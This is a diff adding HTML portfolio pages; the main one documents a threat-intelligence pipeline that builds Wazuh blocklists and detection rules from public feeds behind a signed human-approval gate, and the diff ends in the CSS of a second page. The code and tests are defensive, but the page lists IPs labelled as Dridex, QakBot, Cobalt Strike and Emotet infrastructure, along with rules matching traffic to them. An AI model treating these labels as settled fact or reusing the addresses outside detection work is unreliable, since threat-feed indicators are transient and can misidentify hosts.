| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/cti-detection-automation/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="CTI Detection Automation | Zion Boggan"> | |
| + | <meta property="og:description" content="Pulls indicators from five live threat-intel feeds, dedupes across them, extracts the MITRE techniques, generates Wazuh CDB lists and a tagged XML ruleset, then emails an analyst a signed, single-use review link before anything reaches the SIEM."> | |
| + | <meta property="og:url" content="https://zionboggan.com/cti-detection-automation/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/cti-detection-automation/01-approval-email.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="CTI Detection Automation | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Pulls indicators from five live threat-intel feeds, dedupes across them, extracts the MITRE techniques, generates Wazuh CDB lists and a tagged XML ruleset, then emails an analyst a signed, single-use review link before anything reaches the SIEM."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/cti-detection-automation/01-approval-email.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"CTI Detection Automation","description":"Pulls indicators from five live threat-intel feeds, dedupes across them, extracts the MITRE techniques, generates Wazuh CDB lists and a tagged XML ruleset, then emails an analyst a signed, single-use review link before anything reaches the SIEM.","url":"https://zionboggan.com/cti-detection-automation/","image":"https://zionboggan.com/assets/cti-detection-automation/01-approval-email.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">THREAT INTEL</div> | |
| + | <h1>CTI Detection Automation</h1> | |
| + | <p class="tagline">Pulls indicators from five live threat-intel feeds, dedupes across them, extracts the MITRE techniques, generates Wazuh CDB lists and a tagged XML ruleset, then emails an analyst a signed, single-use review link before anything reaches the SIEM.</p> | |
| + | <div class="tags"><span>Python</span><span>ThreatFox / OTX / URLhaus</span><span>Wazuh CDB</span><span>ATT&CK</span><span>Flask</span><span>itsdangerous</span><span>SMTP</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">5</div><div class="k">live feeds connected</div></div><div class="stat"><div class="n">30</div><div class="k">tests passing</div></div><div class="stat"><div class="n">5</div><div class="k">Wazuh CDB list types</div></div><div class="stat"><div class="n">27</div><div class="k">ATT&CK techniques in catalog</div></div><div class="stat"><div class="n">1</div><div class="k">signed human gate before deploy</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/cti-detection-automation/01-approval-email.png" alt="The approval email the analyst receives: bundle ID, indicator counts by type, the diff against the last approved bundle, the top ATT&CK techniques, and the signed review link."></figure><figcaption>The approval email the analyst receives: bundle ID, indicator counts by type, the diff against the last approved bundle, the top ATT&CK techniques, and the signed review link.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>The pipeline</h2> | |
| + | <p>Each run flows through a fixed set of stages, every one of which is unit-tested in isolation. <code>build_bundle()</code> is the spine:</p><pre><code>def build_bundle(config: dict) -> RuleBundle: | |
| + | raw = collect_indicators(config) | |
| + | merged = deduplicate(raw) | |
| + | kept = filter_by_confidence(merged, config["min_confidence"]) | |
| + | techniques = extract_techniques(kept) | |
| + | cdb_lists = rules.build_cdb_lists(kept) | |
| + | rules_xml = rules.build_rules_xml(kept, base_id=config["rules"]["base_id"]) | |
| + | bundle_id = datetime.now(timezone.utc).strftime("cti-%Y%m%d-%H%M%S") | |
| + | return RuleBundle( | |
| + | bundle_id=bundle_id, | |
| + | generated_at=RuleBundle.now_iso(), | |
| + | indicators=kept, | |
| + | techniques=techniques, | |
| + | cdb_lists=cdb_lists, | |
| + | rules_xml=rules_xml, | |
| + | )</code></pre><p>A real run over the bundled fixtures produces a 19-indicator bundle: 5 IPs, 6 domains, 6 URLs, and 2 hashes, mapping to 15 distinct ATT&CK techniques across the five sources.</p> | |
| + | <h2>Feed connectors</h2> | |
| + | <p>Five public sources, each a connector subclassing one abstract <code>Feed</code> with a pure <code>parse()</code> split cleanly from its network <code>fetch_raw()</code>, so parsing is tested against fixtures while the HTTP path stays thin:</p><table><thead><tr><th>Feed</th><th>Provides</th><th>Auth</th></tr></thead><tbody><tr><td>ThreatFox</td><td>IPs, domains, URLs, hashes, malware family</td><td>free key (POST)</td></tr><tr><td>Feodo Tracker</td><td>botnet C2 IPs</td><td>keyless</td></tr><tr><td>URLhaus</td><td>malware-distribution URLs + host domains</td><td>keyless</td></tr><tr><td>AlienVault OTX</td><td>pulse indicators carrying ATT&CK IDs</td><td>free key</td></tr><tr><td>OpenPhish</td><td>phishing URLs + host domains</td><td>keyless</td></tr></tbody></table><p>The ThreatFox connector is representative: it normalizes the API's IOC types, strips ports off <code>ip:port</code> values, and derives techniques from both the malware family and the threat type.</p><pre><code>def parse(self, raw: str) -> list[Indicator]: | |
| + | payload = load_json(raw) | |
| + | if payload.get("query_status") != "ok": | |
| + | return [] | |
| + | indicators: list[Indicator] = [] | |
| + | for entry in payload.get("data", []): | |
| + | ioc_type = TYPE_MAP.get(entry.get("ioc_type")) | |
| + | if ioc_type is None: | |
| + | continue | |
| + | value = entry.get("ioc", "") | |
| + | if ioc_type == "ip" and ":" in value: | |
| + | value = value.split(":", 1)[0] | |
| + | malware = entry.get("malware_printable") or entry.get("malware") | |
| + | threat_type = entry.get("threat_type", "unknown") | |
| + | techniques = mitre.techniques_for_malware(malware) | |
| + | techniques += mitre.techniques_for_threat_type(threat_type)</code></pre><p>URLhaus and OpenPhish additionally split each URL's host into a separate <code>domain</code> indicator, which is where the cross-feed dedup earns its keep.</p> | |
| + | <h2>Dedup and normalization</h2> | |
| + | <p>Every connector emits the same <code>Indicator</code> dataclass, so downstream code never special-cases a source. Deduplication keys on <code>(type, value.lower())</code>, the same IP seen in ThreatFox, Feodo, and OTX collapses to one indicator carrying the union of all three sources, the maximum confidence, and the union of techniques and tags:</p><pre><code>def deduplicate(indicators: list[Indicator]) -> list[Indicator]: | |
| + | merged: dict[tuple[str, str], Indicator] = {} | |
| + | for indicator in indicators: | |
| + | key = indicator.key() | |
| + | existing = merged.get(key) | |
| + | if existing is None: | |
| + | merged[key] = Indicator(...) | |
| + | continue | |
| + | existing.confidence = max(existing.confidence, indicator.confidence) | |
| + | existing.techniques = sorted(set(existing.techniques) | set(indicator.techniques)) | |
| + | existing.tags = sorted(set(existing.tags) | set(indicator.tags)) | |
| + | existing.malware = existing.malware or indicator.malware | |
| + | existing.reference = existing.reference or indicator.reference | |
| + | existing.first_seen = existing.first_seen or indicator.first_seen | |
| + | if indicator.source not in existing.source.split(","): | |
| + | existing.source = ",".join(sorted(set(existing.source.split(",") + [indicator.source]))) | |
| + | return list(merged.values())</code></pre><p>A merge test pins the behavior exactly:</p><pre><code>def test_merges_same_indicator_across_sources(): | |
| + | merged = deduplicate([ | |
| + | make("45.137.21.9", "threatfox", 100, ["T1071.001"], "Cobalt Strike"), | |
| + | make("45.137.21.9", "feodo", 90, ["T1573"]), | |
| + | make("45.137.21.9", "otx", 60, ["T1059.001"]), | |
| + | ]) | |
| + | assert len(merged) == 1 | |
| + | indicator = merged[0] | |
| + | assert indicator.confidence == 100 | |
| + | assert set(indicator.techniques) == {"T1071.001", "T1573", "T1059.001"} | |
| + | assert set(indicator.source.split(",")) == {"threatfox", "feodo", "otx"}</code></pre><p>After dedup, <code>filter_by_confidence()</code> drops anything under the configured threshold before any techniques or rules are derived.</p> | |
| + | <h2>MITRE TTP extraction</h2> | |
| + | <p>Indicators arrive with techniques attached three ways: OTX pulses carry ATT&CK IDs directly; feeds without IDs have them inferred from the malware family and from the threat type. The mapping tables are hand-built, 27 techniques in the catalog, keyed to malware families and threat types:</p><pre><code>MALWARE_TECHNIQUES = { | |
| + | "cobaltstrike": ["T1071.001", "T1059.001", "T1055"], | |
| + | "agenttesla": ["T1056.001", "T1555", "T1041"], | |
| + | "emotet": ["T1566.001", "T1071.001", "T1105"], | |
| + | "qakbot": ["T1566.001", "T1055", "T1071.001"], | |
| + | ... | |
| + | } | |
| + | ||
| + | THREAT_TYPE_TECHNIQUES = { | |
| + | "phishing": ["T1566.002", "T1204.001"], | |
| + | "botnet_cc": ["T1071.001", "T1573"], | |
| + | "malware_download": ["T1105", "T1204.002"], | |
| + | "ransomware": ["T1486", "T1071.001"], | |
| + | "leaked_credentials": ["T1589.001"], | |
| + | }</code></pre><p>Family lookup is fuzzy, it lowercases the family and strips spaces, hyphens and underscores, so <code>Cobalt Strike</code>, <code>cobalt-strike</code> and <code>CobaltStrike</code> all hit the same row:</p><pre><code>def techniques_for_malware(malware: str | None) -> list[str]: | |
| + | if not malware: | |
| + | return [] | |
| + | key = malware.lower().replace(" ", "").replace("-", "").replace("_", "") | |
| + | for name, techniques in MALWARE_TECHNIQUES.items(): | |
| + | if name in key: | |
| + | return list(techniques) | |
| + | return []</code></pre><p>Once collected, <code>extract_techniques()</code> rolls every indicator's techniques into a per-technique record with its indicator count and contributing sources, sorted by prevalence, and renders a coverage table. From the live fixture run, the top of the report reads:</p><pre><code>| Technique | Tactic | Name | Indicators | Sources | | |
| + | |---|---|---|---|---| | |
| + | | T1204.001 | execution | User Execution: Malicious Link | 10 | openphish, threatfox, urlhaus | | |
| + | | T1105 | command-and-control | Ingress Tool Transfer | 9 | feodo, openphish, otx, threatfox, urlhaus | | |
| + | | T1566.002 | initial-access | Phishing: Spearphishing Link | 8 | openphish, urlhaus | | |
| + | | T1071.001 | command-and-control | Application Layer Protocol: Web Protocols | 6 | feodo, otx, threatfox |</code></pre> | |
| + | <h2>Generated Wazuh rules</h2> | |
| + | <p>Indicators are written as five Wazuh CDB lists, one per indicator class, each keyed on the value with a malware-family or threat-type label, sorted and deduplicated. A real <code>cti-malicious-ip</code> list from the active bundle:</p><pre><code>185.220.101.45:Dridex | |
| + | 193.149.176.12:AsyncRAT | |
| + | 194.36.191.55:QakBot | |
| + | 45.137.21.9:Cobalt Strike | |
| + | 91.211.88.34:Emotet</code></pre><p>Labels are sanitized, colons and newlines stripped, clamped to 48 chars, so a value like <code>weird:type</code> can never break the <code>value:label</code> CDB format. Alongside the lists, <code>build_rules_xml()</code> emits list-lookup rules: outbound and inbound IP matches, a DNS-query match, a URL match, a hash-execution match, and a leaked-credential rule, each tagged with the four dominant ATT&CK techniques for that bucket. This is the verbatim outbound-IP and DNS rule from the generated <code>local_cti_rules.xml</code>:</p><pre><code><group name="cti,threat-intel,auto-generated,"> | |
| + | <rule id="100300" level="12"> | |
| + | <field name="dstip" type="pcre2">\S+</field> | |
| + | <list field="dstip" lookup="address_match_key">etc/lists/cti-malicious-ip</list> | |
| + | <description>Outbound connection to CTI-flagged IP: $(dstip)</description> | |
| + | <mitre> | |
| + | <id>T1071.001</id> | |
| + | <id>T1573</id> | |
| + | <id>T1566.001</id> | |
| + | <id>T1059.001</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | <rule id="100302" level="12"> | |
| + | <field name="win.eventdata.queryName" type="pcre2">\S+</field> | |
| + | <list field="win.eventdata.queryName" lookup="match_key">etc/lists/cti-malicious-domain</list> | |
| + | <description>DNS query for CTI-flagged domain: $(win.eventdata.queryName)</description> | |
| + | <mitre> | |
| + | <id>T1204.001</id> | |
| + | <id>T1566.002</id> | |
| + | </mitre> | |
| + | </rule> | |
| + | </group></code></pre><p>The lookups reference <code>etc/lists/</code>, and the hash rule fires at level 13, so the output drops directly into a Wazuh manager with no hand-editing. A test parses the generated XML with <code>ElementTree</code> to prove it is well-formed and that the <code><mitre></code> tags survived.</p> | |
| + | <h2>The signed approval gate</h2> | |
| + | <p>The pipeline never deploys on its own. The review link carries an <code>itsdangerous</code> URL-safe timed token, signed with a server secret under a fixed salt, so it cannot be forged and stops working once the TTL elapses:</p><pre><code>def serializer(secret: str) -> URLSafeTimedSerializer: | |
| + | return URLSafeTimedSerializer(secret, salt="cti-rule-approval") | |
| + | ||
| + | def make_token(secret: str, bundle_id: str) -> str: | |
| + | return serializer(secret).dumps({"bundle_id": bundle_id}) | |
| + | ||
| + | def verify_token(secret: str, token: str, max_age: int) -> str | None: | |
| + | try: | |
| + | data = serializer(secret).loads(token, max_age=max_age) | |
| + | except (BadSignature, SignatureExpired): | |
| + | return None | |
| + | return data.get("bundle_id")</code></pre><p>A small Flask console serves the gate. Every state-changing route verifies the token first and <code>abort(403)</code>s on a bad or expired one; approval promotes the candidate to active and, if a Wazuh path is set, deploys to the manager:</p><pre><code>@app.post("/approve/<token>") | |
| + | def approve(token): | |
| + | bundle_id = approval.verify_token(secret, token, ttl) | |
| + | if not bundle_id: | |
| + | abort(403) | |
| + | active_dir = config.get("wazuh_etc_dir") | |
| + | result = pipeline.promote( | |
| + | bundle_id, output_dir, Path(active_dir) if active_dir else None | |
| + | ) | |
| + | return render_template("result.html", action="approved", result=result)</code></pre><p>Reject writes a <code>REJECTED</code> marker carrying the analyst's reason; the dashboard then lists every candidate bundle as pending, approved, or rejected. Promotion records the approved key set in <code>state.json</code>, which is exactly what the next run diffs against.</p> | |
| + | <h2>Tests</h2> | |
| + | <p>30 tests across 7 files cover every stage end-to-end: feed parsing against fixtures, cross-source dedup, confidence filtering, TTP extraction, CDB and XML generation, token signing and expiry, email rendering, and the full Flask approve/reject flow. The web tests run the real pipeline and drive the routes with Flask's test client:</p><pre><code>def test_review_requires_valid_token(app_and_bundle): | |
| + | app, _ = app_and_bundle | |
| + | client = app.test_client() | |
| + | assert client.get("/review/garbage").status_code == 403 | |
| + | ||
| + | ||
| + | def test_approve_promotes(app_and_bundle): | |
| + | app, result = app_and_bundle | |
| + | token = make_token("test-secret", result["bundle_id"]) | |
| + | client = app.test_client() | |
| + | resp = client.post(f"/approve/{token}") | |
| + | assert resp.status_code == 200 | |
| + | assert b"approved" in resp.data | |
| + | follow = client.get(f"/review/{token}") | |
| + | assert b"already been approved" in follow.data</code></pre><p>Token security is pinned directly, a token signed with one secret will not verify under another, and a zero-max-age token is rejected after a one-second sleep:</p><pre><code>def test_token_rejects_wrong_secret(): | |
| + | token = make_token("secret", "bundle") | |
| + | assert verify_token("other", token, 60) is None | |
| + | ||
| + | ||
| + | def test_token_expires(): | |
| + | token = make_token("secret", "bundle") | |
| + | time.sleep(1) | |
| + | assert verify_token("secret", token, 0) is None</code></pre> | |
| + | </div> | |
| + | <div class="gallery"><figure class="shot"><img loading="lazy" src="/assets/cti-detection-automation/02-review-page.png" alt="The single-use signed review page: the candidate diff, indicators broken out by type, the five generated CDB lists, the ATT&CK coverage table, and the approve-and-deploy and reject actions."></figure><figcaption>The single-use signed review page: the candidate diff, indicators broken out by type, the five generated CDB lists, the ATT&CK coverage table, and the approve-and-deploy and reject actions.</figcaption><figure class="shot"><img loading="lazy" src="/assets/cti-detection-automation/03-dashboard.png" alt="The bundle dashboard listing every candidate with its indicator and technique counts and its pending, approved, or rejected status."></figure><figcaption>The bundle dashboard listing every candidate with its indicator and technique counts and its pending, approved, or rejected status.</figcaption><figure class="shot"><video controls preload="metadata" src="/assets/cti-detection-automation/cti-approval-walkthrough.mp4"></video></figure><figcaption>Full walkthrough: a pipeline run, the approval email, the signed review page, and promotion to the active bundle (video).</figcaption></div> | |
| + | <p class="repo-line">Repository · github.com/zionboggan/cti-detection-automation</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,373 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Detection-as-Code | Zion Boggan</title> | |
| + | <meta name="description" content="Sigma rules mapped to MITRE ATT&amp;CK, linted and tested in CI, and compiled to Splunk, Elastic, and Microsoft Sentinel KQL: one rule, every SIEM."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
